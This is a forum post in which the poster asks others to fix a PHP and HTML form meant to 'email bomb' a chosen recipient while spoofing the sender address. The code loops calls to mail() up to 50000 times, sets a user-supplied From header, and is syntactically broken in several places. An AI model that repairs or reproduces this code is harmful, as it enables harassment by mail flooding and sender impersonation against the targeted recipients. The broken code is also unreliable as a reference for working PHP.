Php Email Bomb, Help me.

Dear Programmers,
I have stumbled on too an error and am in need of help, I am looking for a way to Fix my code that allows users to send an email bomb to the selected user with an email spoofer.
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First post
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Here is the code, pretty basic Probably something idiotically wrong. :p

Code:

<form name="frmsendmail" method="post" action="" onSubmit="return ValidationForm()">

     
      <table width="100%"  border="0">
        <tr>
         <td width="33%" align="right" class="text">To : 
          <td width="67%"><input name="txtEmailto2" type="text" class="input" id="txtEmailto22" size="30" maxlength="100">
        </tr>
        <tr>
          <td align="right" class="text">From : 
          <td><input name="txtEmailfrm2" type="text" class="input" id="txtEmailfrm22" size="30" maxlength="100">
        </tr>
        <tr>
          <td align="right" class="text">Subject : 
        <td><input name="txtSub2" type="text" class="input" id="txtSub22" size="30" maxlength="100">
        </tr>
        <tr>
          <td align="right" class="text">Mesage(body) : 
         <td><textarea name="txtMsg" cols="50" rows="10" class="input" id="textarea"></textarea>
        </tr>
      <tr>
          <td align="right"><input name="hidSubmit" type="hidden" id="hidSubmit" value="true">
              <input name="Submit" type="submit" class="input" value="Send">
          <td><input name="Submit2" type="reset" class="input" value="Reset">
        </tr>         
      </table>
   <?php
   if(isset($hidSubmit)){Function {
	   $mail = 1;
do {
    mail("Client", "$mail_sub", "$mail_mesg", "$mail_to");
}   while($mail < 50000);
   }
     $mail_to=$txtEmailto
     $mail_from=$txtEmailfrm;
     $mail_sub=$txtSub;
     $mail_mesg=$txtMsg;
   
   if(mail($mail_to,$mail_sub,$mail_mesg,"From:$mail_from/r/nReply-to:$mail_from"))
echo "<span class='red'>E-mail has been sent successfully from $mail_sub to $mail_to</span>";
else
echo "<span class='red'>Failed to send the E-mail from $mail_sub to $mail_to</span>";
}
?>
   
   ?>
   </form>

Suspecting its a variable or the "<form>."
I am also looking for a way to test custom script codes made in Dreamweaver without uploading them onto a test server or just the Internet, Like a simulator.